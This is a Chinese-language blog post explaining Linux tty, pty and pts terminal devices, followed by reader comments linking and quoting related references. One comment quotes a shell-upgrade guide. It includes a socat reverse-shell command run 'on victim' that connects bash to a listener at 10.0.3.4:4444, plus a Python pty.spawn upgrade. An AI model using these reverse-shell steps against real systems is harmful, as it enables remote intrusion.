Linux中的tty和pts的含义以及区别


Linux中的tty和pts的含义以及区别
由来:

在Linux下使用w/who命令查看当前系统上有哪些人的时候经常可以看到pts/0和pts/1这样的字眼,上网一看,貌似还有tty1这种的,于是我就想知道它们之间到底是个什么区别、分别又是什么含义?

搜索关键字:

http://search.aol.com/aol/search?q=linux+tty+pts

一些知识点:

A tty is a native terminal device, the backend is either hardware or kernel emulated.{tty就是一个本地的终端设备,后端连的是实体机或模拟器}(More info can be found in man tty.更详细的内容可以查看tty的manual)

A pty (pseudo terminal device) is a terminal device which is emulated by an other program (example: xterm, screen, or ssh are such programs). A pts is the slave part of a pty.{pty也是一个终端设备,不过是由其它程序模拟出来的,比如:xterm/screen/ssh;而pts指的就是就是pty的从设备}(More info can be found in man pty.更详细的内容可以查看pty的manual)

{简而言之}:

A pty is created by a process through posix_openpt() (which usually opens the special device /dev/ptmx), and is constituted by a pair of bidirectional character devices:

  1. The master part, which is the file descriptor obtained by this process through this call, is used to emulate a terminal. After some initialization, the second part can be unlocked with unlockpt(), and the master is used to receive or send characters to this second part (slave).
  2. The slave part, which is anchored in the filesystem as /dev/pts/x (the real name can be obtained by the master through ptsname() ) behaves like a native terminal device (/dev/ttyx). In most cases, a shell is started that uses it as a controlling terminal.

 

参考链接:
,

《 “Linux中的tty和pts的含义以及区别” 》 有 13 条评论

  1. terminal/shell/tty/console之间的区别到底在哪?(What is the exact difference between a ‘terminal’, a ‘shell’, a ‘tty’ and a ‘console’?)
    https://unix.stackexchange.com/questions/4126/what-is-the-exact-difference-between-a-terminal-a-shell-a-tty-and-a-con
    `
    TTY (是TeleTYpewriter的缩写)
    terminal = tty = 文本输入/输出环境
    console = 物理终端
    shell = 命令行解释器
    `
    TTY解密
    http://www.linusakesson.net/programming/tty/

  2. ssh命令的 `-t` 和 `-T` 选项
    https://stackoverflow.com/questions/7114990/pseudo-terminal-will-not-be-allocated-because-stdin-is-not-a-terminal
    `
    -T Disable pseudo-tty allocation.(禁用 伪终端-pty 分配)

    -t Force pseudo-tty allocation. This can be used to execute arbitrary screen-based programs on a remote machine, which can be very useful, e.g. when implementing menu services. Multiple -t options force tty allocation, even if ssh has no local tty.(强制 伪终端-pty 分配,这对于需要和屏幕打交道的程序来说是非常有用的。多个 -t 选项强制 tty 的分配,即便SSH可能没有本地tty)
    `
    https://stackoverflow.com/questions/7085429/terminating-ssh-session-executed-by-bash-script
    https://stackoverflow.com/questions/17900760/what-is-pseudo-tty-allocation-ssh-and-github
    https://stackoverflow.com/questions/21659637/how-to-fix-sudo-no-tty-present-and-no-askpass-program-specified-error

  3. 将普通 Shell 提升为交互式 TTY Shell 的方法一览
    https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
    `
    Method 1: Python pty module
    python -c ‘import pty; pty.spawn(“/bin/bash”)’

    Method 2: Using socat
    On Kali (listen):
    socat file:’tty’,raw,echo=0 tcp-listen:4444
    On Victim (launch):
    socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

    Method 3: Upgrading from netcat with magic
    stty raw -echo
    `

  4. Linux中的tty、pty、pts与ptmx辨析
    https://blog.csdn.net/zhoucheng05_13/article/details/86510469
    `
    一、 tty(teletypes)
    tty设备包括虚拟控制台,串口以及伪终端设备。tty的种类有很多:

    1.1 tty
    其中,tty是当前进程的控制终端的设备特殊文件。
    当我们将输出重定向到/dev/tty文件时,结果总会输出到当前终端上。

    1.2 ttyn
    tty0~tty63是虚拟终端的设备特殊文件。/dev/tty0代表当前虚拟控制台,而/dev/tty1等代表第一个虚拟控制台。使用Alt+[F1—F6]组合键时,我们就可以切换到tty2、tty3等上面去。

    1.3 ttySn
    ttyS代表tty serial,/dev/ttyS*是串行终端设备。这些设备文件会映射到物理串行端口,如果我们执行下列命令:
    echo 2 > /dev/ttyS2
    那么在对应的物理端口,如COM2上可以检测到输出。

    二、 pty(pseudo-tty)
    pty全称pseudo-tty,即伪终端设备,用于远程连接。它由master和slave两端构成,在任何一端的输入都会传达到另一端。与tty不同,系统中并不存在pty这种文件,它是由pts(pseudo-terminal slave)和ptmx(pseudo-teiminal master)两种设备文件来实现的。

    三、 pts(pseudo-terminal slave)
    pts(pseudo-terminal slave)即伪终端的slave端。在Linux的/dev/pts/文件夹下有对应设设备文件。

    四、 ptmx(pseudo-terminal master)
    ptmx是伪终端的master端。
    `
    https://linux.die.net/man/4/ptmx

    https://unix.stackexchange.com/questions/470717/documentation-on-ptmx-and-pts

    Linux 中的 console、terminal、tty、pty、pts 有哪些区别?
    https://www.zhihu.com/question/65280843

  5. View full commands in ps output
    https://unix.stackexchange.com/questions/229541/view-full-commands-in-ps-output
    `
    $ man ps
    -f Display the uid, pid, parent pid, recent CPU usage, process start time, controlling tty, elapsed CPU usage, and the associated command. If the -u option is also used, display the user name rather then the numeric uid. When -o or -O is used to add to the display following -f, the command field is not truncated as severely as it is in other formats.

    显示uid、pid、ppid、最近的CPU使用率、进程开始时间、控制tty、已占用的CPU资源以及相关的命令。如果还使用了-u选项,则显示用户名而不是数字uid。当在到-f之后添加-o或-O选项时,命令字段不会像在其他格式中那样被截断。

    ps -f
    ps -f | head
    ps -fww
    `

  6. Unix 终端系统(TTY)是如何工作的
    https://waynerv.com/posts/how-tty-system-works/
    `
    长久以来,我们把终端和 shell 视作开发者理所当然的基本工具,但其底层涉及的组件和机制却并不简单。作为一名后端工程师,每天使用终端的时长甚至会超过代码编辑器,深入了解其背后的实现是有必要的。本文将尝试尽量清晰全面的介绍 Unix 所使用的终端系统。
    本文内容主要以 Linux 系统的具体实现为基础,但因为其遵循 SUSv3(Single UNIX Specification Version 3)规范,因此也适用于其他 Unix 系统(如 macOS)。

    1. tty 的由来
    * 电传打字机
    * 视频终端
    * 终端模拟器
    2. job controll
    * process group 和 job
    * session 和控制终端
    * shell 与 tty 的协作
    3. tty 的内部实现
    * linux 的 tty 实现
    * line discipline
    * 配置 tty 的行为
    4. 伪终端
    * 为什么需要伪终端
    * 什么是伪终端
    * 伪终端是如何工作的
    * UNIX 98 伪终端的实现
    * 远程终端示例
    5. 总结
    6. 参考链接

    `

  7. ttyrpld – tty capturing daemon
    https://sourceforge.net/projects/ttyrpld/

    How do I capture the output of a tty while still allowing sent characters to reach the correct destination?
    https://serverfault.com/questions/138916/how-do-i-capture-the-output-of-a-tty-while-still-allowing-sent-characters-to-rea

    rootsh
    https://sourceforge.net/projects/rootsh/
    `
    Rootsh is a wrapper for shells which logs all echoed keystrokes and terminal output to a file and/or to syslog. It’s main purpose is the auditing of users who need a shell with root privileges. They start rootsh through the sudo mechanism.
    `

    How to get the Input and output in a terminal to a text file? [duplicate]
    https://askubuntu.com/questions/557289/how-to-get-the-input-and-output-in-a-terminal-to-a-text-file
    `
    script
    `

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注